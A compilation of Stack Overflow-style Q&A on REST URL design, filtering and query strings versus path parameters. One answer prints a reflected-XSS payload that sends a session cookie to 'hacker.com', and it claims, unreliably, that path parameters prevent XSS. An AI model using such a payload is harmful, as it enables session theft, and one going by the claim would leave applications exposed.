Using a POST method in WebApi rather than a GET method. Should I? - rest

I have a REST API that provides access to a resource using GET.
Using this method I can get a specific instance or all instances.
In this case one instance isn't enough and all is too many.
What I've done is create a new Controller with a pattern like /api/filteredresource and made that a POST request with the body containing a representation of a filter to be used to limit the list of items returned.
I'm not looking for a "How do I..." answer, more a "Should I do it this way..." one.
What's the besrt practice here?
This StackOverflow article seems to suggest I shouldn't do it this way as the data canno (or rather should not) be cached but in this instance caching this filtered data doesn't make sense. I suppose I'm looking for a pragmatic answer rather than a technically correct one.
** EDIT **
The inital requirement was to just search for instances of the resource matching a particular status, but it seems that this was to be a 'first step'. They have a 'search key' that they want to use that contains all sorts of properies matching, in many cases, elements of the resource itself and they want to be able to use this 'search key' (or a representation of it) as the filter.
** END EDIT **

It's fine to use POST for any operation that isn't standardized, but retrieval of any kind is standardized and should be done with GET. As you figured, this depends on how pragmatic you want to be, and how much you want to stick to the standards.
If your problem is that the query string isn't readable or easy to represent, and you really want to stick to REST principles, you should have a query or filter resource subordinated to the filteredresource you want to filter, then it's semantically correct to make a POST with a body of filter parameters. This POST should return a 303 with a Location URI for a GET to the filteredresource, with a querystring that will yield the result you expect. Since this is generated by the API, and doesn't have to be readable, how easy it is to build or read shouldn't be an issue at this point. That URI will be cacheable and you'll be doing your retrieval with GET.
A compromise between pragmatism and purism is having that POST simply returning the result.
If you want to be pragmatic, just POST to `fiteredresource' and don't worry about it.

Use query parameters to filter:
GET /rest/things/1
gets the thing with id=1.
GET /rest/things
gets all things.
GET /rest/things?color=yellow
gets only the yellow things.

Related

REST Best practise for filtering and knowing the result is singular: List or single?

Variety of REST practises suggest (i.e. 1, 2, 3) to use plurals in your endpoints and the result is always a list of objects, unless it's filtered by a specific value, such as /users/123 Query parameters are used to filter the list, but still result in a list, nevertheless. I want to know if my case should 'abandon' those best practices.
Let's use cars for my example below.
I've got a database full of cars and each one has a BuildNumber ("Id"), but also a model and build year which combination is unique. If I then query for /cars/ and search for a specific model and year, for example /cars?model=golf&year=2018 I know, according to my previous sentence, my retrieve will always contain a single object, never multiple. My result, however, will still be a list, containing just one object, nevertheless.
In such case, what will be the best practise as the above would mean the object have to be extracted from the list, even though a single object could've been returned instead.
Stick to best practises and export a list
Make a second endpoind /car/ and use the query parameters ?model=golf&year=2018, which are primarily used for filtering in a list, and have the result be a single object, as the singular endpoint states
The reason that I'm asking this is simply for the cleanness of the action: I'm 100% sure my GET request will result in single object, but still have to perform actions to extract it from the list. These steps should've been unnecessary. Aside of that, In my case I don't know the unique identifier, so cars/123 for retrieving a specific car isn't an option. I know, however, filters that will result in one object and one specific object altogether. The additional steps simply feel redundant.
1: https://learn.microsoft.com/en-us/azure/architecture/best-practices/api-design
2: https://blog.mwaysolutions.com/2014/06/05/10-best-practices-for-better-restful-api/
3: https://medium.com/hashmapinc/rest-good-practices-for-api-design-881439796dc9
As you've specifically asked for best practices in regards to REST:
REST doesn't care how you specify your URIs or that semantically meaningful tokens are used inside the URI at all. Further, a client should never expect a certain URI to return a certain type but instead rely on content-type negotiation to tell the server all of the capabilities the client supports.
You should furthermore not think of REST in terms of object orientation but more in terms of affordance and statemachines where a client get served every information needed in order to make an educated decision on what to do next.
The best sample to give here is probably to take a close look at the Web and how it's done for HTML pages. How can you filter for a specific car and how it will be presented to you? The same concepts that are used in the Web also apply to REST as both use the same interaction model. In regards to your car sample, the API should initially return some control-structures that teach a client how a request needs to be formed and what options could be filtered for. In HTML this is done via forms. For non-HTML based REST APIs dedicated media-types should be defined that translate the same approach to non-HTML structures. On sending the request to the server, your client would include all of the supported media-types it supports in an Accept HTTP header, which informs the server about the capabilities of the client. Media-types are just human-readable specification on how to process payloads of such types. Such specifications may include hints on type information a link relation might return. In order to gain wide-usage of media-types they should be defined as generic as possible. Instead of defining a media-type specific for a car, which is possible, it probably would be more convenient to use an existing or define a new general data-container format (similar to HTML).
All of the steps mentioned here should help you to design and implement an API that is free to evolve without having to risk to break clients, that furthermore is also scalable and minimizes interoperability concerns.
Unfortunately your question targets something totally different IMO, something more related to RPC. You basically invoke a generic method via HTTP on an endpoint, similar like SOAP, RMI or CORBA work. Whether you respect the semantics of HTTP operations or not is only of sub-interest here. Even if you'd reached level 3 of the Richardson Maturity Model (RMM) it does not mean that you are compliant to REST. Your client might still break if the server changes anything within the response. The RMM further doesn't even consider media-types at all, hence I consider it as rather useless.
However, regardless if you use a (true) REST or RPC/CRUD client, if retrieving single items is your preference instead of feeding them into a collection you should consider to include the URI of the items of interest instead of its data directly into the collection, as Evert also has suggested. While most people seem to be concerned on server performance and round-trip-times, it actually is very elegant in terms of caching. Further certain link-relation names such as prefetch may inform the client that it may fetch the targets payload early as it is highly possible that it's content will be requested next. Through caching a request might not even have to be triggered or sent to the server for processing, which is probably the best performance gain you can achieve.
1) If you use query like cars/where... - use CARS
2) If you whant CAR - make method GetCarById
You might not get a perfect answer to this, because all are going to be a bit subjective and often in a different way.
My general thought about this is that every item in my system will have its own unique url, for example /cars/1234. That case is always singular.
But this specific item might appear as a member in collections and search results. When /cars/1234 apears in these, they will always appear as a list with 1 item (or 0 or more depending on the query).
I feel that this is ultimately the most predictable.
In my case though, if a car appears as a member of a search or colletion, it's 'true url' will still be displayed.

REST: Filter primary resource by properties on related resource

I'm looking for some guidance/advice/input on the concept of filtering resources when making a REST API call. Let's say I have Users and Posts, and a User creates a Post. If I want to get all Posts, I might have a route as follows:
GET /api/posts
Now if I wanted to get all posts that were created after a certain date, I might add a filter parameter like so
GET /api/posts?created_after=2017-09-01
However, let's say I want to get all posts by Users that were created after a certain date. Is this the right format?
GET /api/posts?user.created_after=2017-09-01
When it comes to filtering, grouping, etc, I'm having a hard time figuring out the right stuff to do for REST APIs, particularly when using a paginated API. If I do this client side (which was my initial thought) then you potentially end up with a variable number of resources per page, based on what meets your criteria. It seems complicated to add all of this logic as query parameters over the API, but I can't see any other way to do it. Is there a standard for this kind of thing?
There is no objective 'right' way. If using user.created_after logically makes sense in the context of your API, then there's nothing really wrong with it.
Personally, I would not use user.created_after.
I would rather prefer one of the following options:
Option I: /api/posts/users/{userid}?created_after=2017-09-01
Option II: /api/posts/?user={userid}&created_after=2017-09-01
The reason is simple: It looks wrong to me to create dynamic query parameters. Instead you can combine the query parameters (Option II) or even define a more specific resource (Option I).
Regarding pagination: the standard approach is something like this: In addition to filter parameters, you define the following parameters: page and pageSize. When constructing the request, client will specify something like page=2&pageSize=25&orderBy=creationDate.
It's important to note that server must always validate the parameters and can potentially ignore or override incorrect parameters (e.g. page doesn't exist, or pageSize is too big may not return an error, but instead returning reasonable output. This really depends on your business case)

Conflicting REST urls

So I'm building a REST api and need to make some urls. The problem is, I'm running into some conflicting paths. For example:
GET <type>/<id> gets the details of an object of a given type and id
GET <type>/summary gets the summary of objects of a given type
This simplified example shows a problem occurs when an object has id "summary". What is the best way to solve this? From a REST puritan perspective, what should be the solution?
Here's some of my ideas:
Put the <id> in query parameters. From what I understand this is against standards
Put a keyword at the start of the url. Also against standards?
Disallow certain id values. Not something I want to enforce for all my users and use cases and different entrances into my system
I may have an alternative to this. What if we have both book as wel as the plural books. Then you can have:
/book/{id}
and
/books/summary
or
/books/count
The URL structure is not quite right to begin with so it's difficult to solve it in a clean way.
For the sake of discussion, let's assume <type> is a books resource. So the first URL is fine - you get a book of the given ID:
GET /books/<id>
However this is not:
GET /books/summary
Because it's a bespoke URL, which I guess has a use in your application but is not restful. A GET call should return one or more resources. However a "summary" is not a resource, it's a property of a resource and that's why you end up in this situation of having IDs mixed up with book properties.
So your best option would be to change this URL to something like this:
GET /books?fields=summary
By default GET /books would return all the resources, while GET /books?fields=<list_of_fields> will return the books but with only the chosen properties.
That will be similar to your previous URL but without the ID/property conflict, and will also allow you later on to retrieve resources with specific fields (without having to create new custom URLs).
Edit:
Regarding the count of books, it's still useful to reason in terms of resources. /books gives you one or more books, but it should not be used for meta-information about the collection, such as count, but also things like "most read book", or "books that start with the letter 'A'", etc. as that will make the resource more and more complex and difficult to maintain.
Depending on what you want to achieve I think there'd be two solutions:
Create a new resource that manages the collection of books. For example:
GET /bookcase
And that will give you information about the collection, for example:
{
"count": 1234,
"most_read": "<isbn>",
// etc. - any information that might be needed about the book collection
}
Or a search engine. You create a resources such as:
GET /book_search_engine/?query=
which would return a search result such as:
{
"count": 123,
"books": [
// Books that match the query
]
}
then a query like this would give you just the count:
// Search all the books, but provide only the "count" field
GET /book_search/?query=*&fields=count
Obviously that's a more involved solution and maybe not necessary for a simple REST API, however it can be useful as it makes it easier to create queries specific to a client.
This simplified example shows a problem occurs when an object has id "summary". What is the best way to solve this? From a REST puritan perspective, what should be the solution?
As far as REST is concerned, the URI are opaque. Spelling is absolutely irrelevant. You could use URI like
/a575cc90-2878-41fe-9eec-f420a509e1f0
/f871fff6-4c4e-48f7-83a4-26858fdb3096
and as far as REST is concerned, that's spot on. See Stefan Tilkov's talk REST: I Don't Think It Means What You Think It Does.
What you are asking about is URI design, how to adapt conventions/best practices to your particular setting.
One thing that will help is to recognize is that summary is a resource, in the REST/HTTP sense -- it is a document that can be represented as a byte sequence. All you need to do is figure out where that resource belongs (according to your local spelling conventions).
Continuing to borrow the "books" example used by others
# Here's the familiar "URI that identifies a member of the books collection"
/books/<id>
# Here's the summary of the /books collection
/summaries/books
Put the in query parameters. From what I understand this is against standards
Not as much as you might think. REST doesn't care. The URI spec expresses some views about hierarchical vs non hierarchical data. HTTP supports the notion of a redirect, where one resource can reference another.
GET /books?id=12345
302 Found
Location: /books/12345
You also have options for skipping a round trip, by returning the representation you want immediately, taking advantage of Content-Location
GET /books?summary
200 OK
Content-Location: /summaries/books
...
I have the same issue. And all the solutions seem a little off b/c REST best practices seem to suggest none of them are ideal.
You could have just one off-limit id, like all.
GET <type>/<id>
GET <type>/all/summary
It might even be possible to use a single symbol instead, such as ~ or _.
GET <type>/<id>
GET <type>/~/summary
How satisfying this solution seems is of course very subjective.
The singular/plural approach seems more elegant to me but despite most REST best practice guides saying not to do this. Unfortunately some words don't have distinct singular and plural forms.
This isn't perfectly conventional for how some like to define their rest endpoints.
But I would would enforce a pattern where "id" cannot be any string. Instead I would use a uuid and define my routes as such.
GET /books/{id:uuid}
GET /books/{id:uuid}/summary
And if you really want a verb in the URL without an identifier it is still technically possible because we know the {id:uuid} in the path must conform to the uuid pattern.
With that GET /books/summary is still distinct from GET /books/{id:uuid}

Proper RESTful way to handle a request that is not really creating or getting something?

I am writing a little app that does one thing only: takes some user-provided data, does some analysis on it, and returns a "tag" for that data. I am thinking that the client should either GET or POST their request to /getTag in order to get a response back.
Nothing is stored on the server when the client does this, so it feels weird to use a POST. However, there is not a uniform URI for the analysis either, so using a GET feels weird, since it will return different things depending on what data is provided.
What is the best way to represent this functionality with REST?
The "best way" is to do whatever is most appropriate for your application and its needs. Not knowing that, here are a few ideas:
GET is the most appropriate verb since you're not creating or storing anything on the server, just retrieving something that the server provides.
Don't put the word get in the URI as you've suggested. Verbs like that are already provided by HTTP, so just use /tag and GET it instead.
You should use a well-understood (or "cool") URI for this resource and pass the data as query parameters. I wouldn't worry about it feeling weird (see this question's answers to find out why).
To sum up, just GET on /tag?foo=bar&beef=dead, and you're done.
POST can represent performing an action. The action doesn't have to be a database action.
What you have really created is a Remote Procedure. RPC is usually all POST. I don't think this is a good fit for REST, but that doesn't have to stop you from using simple URLs and JSON.
It seems to me like there would probably be a reason you or the user who generated the original data would want the generated tag to persist, wouldn't they?
If that's a possibility, then I'd write it as POST /tags and pass the /tags/:id resource URI back as a Location: header.
If I really didn't care about persisting the generated tag, I'd think about what the "user-generated data" was and how much processing is happening behind the scenes. If the "tag" is different enough from whatever data is being passed into the system, GET /tag might be really confusing for an API consumer.
I'll second Brian's answer: use a GET. If the same input parameters return the same output, and you're not really creating anything, it's an idempotent action and thus perfectly suited for a GET.
You can use GET and POST either:
GET /tag?data="..." -> 200, tag
The GET method means retrieve whatever information (in the form of an
entity) is identified by the Request-URI. If the Request-URI refers to
a data-producing process, it is the produced data which shall be
returned as the entity in the response and not the source text of the
process, unless that text happens to be the output of the process.
POST /tag {data: "..."} -> 200, tag
The action performed by the POST method might not result in a resource
that can be identified by a URI. In this case, either 200 (OK) or 204
(No Content) is the appropriate response status, depending on whether
or not the response includes an entity that describes the result.
according to the HTTP standard / method definitions section.
I would use GET if I were you (and POST only if you want to send files).

Querystring in REST Resource url

I had a discussion with a colleague today around using query strings in REST URLs. Take these 2 examples:
1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua
My stance was the URLs should be designed as in example 1. This is cleaner and what I think is correct within REST. In my eyes you would be completely correct to return a 404 error from example 1 if the product code did not exist whereas with example 2 returning a 404 would be wrong as the page should exist. His stance was it didn't really matter and that they both do the same thing.
As neither of us were able to find concrete evidence (admittedly my search was not extensive) I would like to know other people's opinions on this.
There is no difference between the two URIs from the perspective of the client. URIs are opaque to the client. Use whichever maps more cleanly into your server side infrastructure.
As far as REST is concerned there is absolutely no difference. I believe the reason why so many people do believe that it is only the path component that identifies the resource is because of the following line in RFC 2396
The query component is a string of
information to be interpreted by the
resource.
This line was later changed in RFC 3986 to be:
The query component contains
non-hierarchical data that, along with
data in the path component (Section
3.3), serves to identify a resource
IMHO this means both query string and path segment are functionally equivalent when it comes to identifying a resource.
Update to address Steve's comment.
Forgive me if I object to the adjective "cleaner". It is just way too subjective. You do have a point though that I missed a significant part of the question.
I think the answer to whether to return 404 depends on what the resource is that is being retrieved. Is it a representation of a search result, or is it a representation of a product? To know this you really need to look at the link relation that led us to the URL.
If the URL is supposed to return a Product representation then a 404 should be returned if the code does not exist. If the URL returns a search result then it shouldn't return a 404.
The end result is that what the URL looks like is not the determining factor. Having said that, it is convention that query strings are used to return search results so it is more intuitive to use that style of URL when you don't want to return 404s.
In typical REST API's, example #1 is more correct. Resources are represented as URI and #1 does that more. Returning a 404 when the product code is not found is absolutely the correct behavior. Having said that, I would modify #1 slightly to be a little more expressive like this:
http://localhost/products/code/4xheaua
Look at other well-designed REST APIs - for example, look at StackOverflow. You have:
stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663
These are all different ways of getting at "questions".
There are two use cases for GET
Get a uniquely identified resource
Search for resource(s) based on given criteria
Use Case 1 Example:
/products/4xxheua
Get a uniquely identified product, returns 404 if not found.
Use Case 2 Example:
/products?size=large&color=red
Search for a product, returns list of matching products (0 to many).
If we look at say the Google Maps API we can see they use a query string for search.
e.g.
http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false
So both styles are valid for their own use cases.
IMO the path component should always state what you want to retrieve. An URL like http://localhost/findbyproductcode does only say I want to retrieve something by product code, but what exactly?
So you retrieve contacts with http://localhost/contacts and users with http://localhost/users. The query string is only used for retrieving a subset of such a list based on resource attributes. The only exception to this is when this subset is reduced to one record based on the primary key, then you use something like http://localhost/contact/[primary_key].
That's my approach, your mileage may vary :)
The way I think of it, URI path defines the resource, while optional querystrings supply user-defined information. So
https://domain.com/products/42
identifies a particular product while
https://domain.com/products?price=under+5
might search for products under $5.
I disagree with those who said using querystrings to identify a resource is consistent with REST. Big part of REST is creating an API that imitates a static hierarchical file system (without literally needing such a system on the backend)--this makes for intuitive, semantic resource identifiers. Querystrings break this hierarchy. For example watches are an accessory that have accessories. In the REST style it's pretty clear what
https://domain.com/accessories/watches
and
https://domain.com/watches/accessories
each refer to. With querystrings,
https://domain.com?product=watches&category=accessories
is not not very clear.
At the very least, the REST style is better than querystrings because it requires roughly half as much information since strong-ordering of parameters allows us to ditch the parameter names.
The ending of those two URIs is not very significant RESTfully.
However, the 'findbyproductcode' portion could certainly be more restful. Why not just
http://localhost/product/4xxheau ?
In my limited experience, if you have a unique identifier then it would look clean to construct the URI like .../product/{id}
However, if product code is not unique, then I might design it more like #2.
However, as Darrel has observed, the client should not care what the URI looks like.
This question is deticated to, what is the cleaner approach. But I want to focus on a different aspect, called security. As I started working intensively on application security I found out that a reflected XSS attack can be successfully prevented by using PathParams (appraoch 1) instead of QueryParams (approach 2).
(Of course, the prerequisite of a reflected XSS attack is that the malicious user input gets reflected back within the html source to the client. Unfortunately some application will do that, and this is why PathParams may prevent XSS attacks)
The reason why this works is that the XSS payload in combination with PathParams will result in an unknown, undefined URL path due to the slashes within the payload itself.
http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**
Whereas this attack will be successful by using a QueryParam!
http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>
The query string is unavoidable in many practical senses.... Consider what would happen if the search allowed multiple (optional) fields to all ve specified. In the first form, their positions in the hierarchy would have to be fixed and padded...
Imagine coding a general SQL "where clause" in that format....However as a query string, it is quite simple.
By the REST client the URI structure does not matter, because it follows links annotated with semantics, and never parses the URI.
By the developer who writes the routing logic and the link generation logic, and probably want to understand log by checking the URLs the URI structure does matter. By REST we map URIs to resources and not to operations - Fielding dissertation / uniform interface / identification of resources.
So both URI structures are probably flawed, because they contain verbs in their current format.
1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua
You can remove find from the URIs this way:
1. /products/code:4xxheua
2. /products?code="4xxheua"
From a REST perspective it does not matter which one you choose.
You can define your own naming convention, for example: "by reducing the collection to a single resource using an unique identifier, the unique identifier must be always part of the path and not the query". This is just the same what the URI standard states: the path is hierarchical, the query is non-hierarchical. So I would use /products/code:4xxheua.
Philosophically speaking, pages do not "exist". When you put books or papers on your bookshelf, they stay there. They have some separate existence on that shelf. However, a page exists only so long as it is hosted on some computer that is turned on and able to provide it on demand. The page can, of course, be always generated on the fly, so it doesn't need to have any special existence prior to your request.
Now think about it from the point of view of the server. Let's assume it is, say, properly configured Apache --- not a one-line python server just mapping all requests to the file system. Then the particular path specified in the URL may have nothing to do with the location of a particular file in the filesystem. So, once again, a page does not "exist" in any clear sense. Perhaps you request http://some.url/products/intel.html, and you get a page; then you request http://some.url/products/bigmac.html, and you see nothing. It doesn't mean that there is one file but not the other. You may not have permissions to access the other file, so the server returns 404, or perhaps bigmac.html was to be served from a remote Mc'Donalds server, which is temporarily down.
What I am trying to explain is, 404 is just a number. There is nothing special about it: it could have been 40404 or -2349.23847, we've just agreed to use 404. It means that the server is there, it communicates with you, it probably understood what you wanted, and it has nothing to give back to you. If you think it is appropriate to return 404 for http://some.url/products/bigmac.html when the server decides not to serve the file for whatever reason, then you might as well agree to return 404 for http://some.url/products?id=bigmac.
Now, if you want to be helpful for users with a browser who are trying to manually edit the URL, you might redirect them to a page with the list of all products and some search capabilities instead of just giving them a 404 --- or you can give a 404 as a code and a link to all products. But then, you can do the same thing with http://some.url/products/bigmac.html: automatically redirect to a page with all products.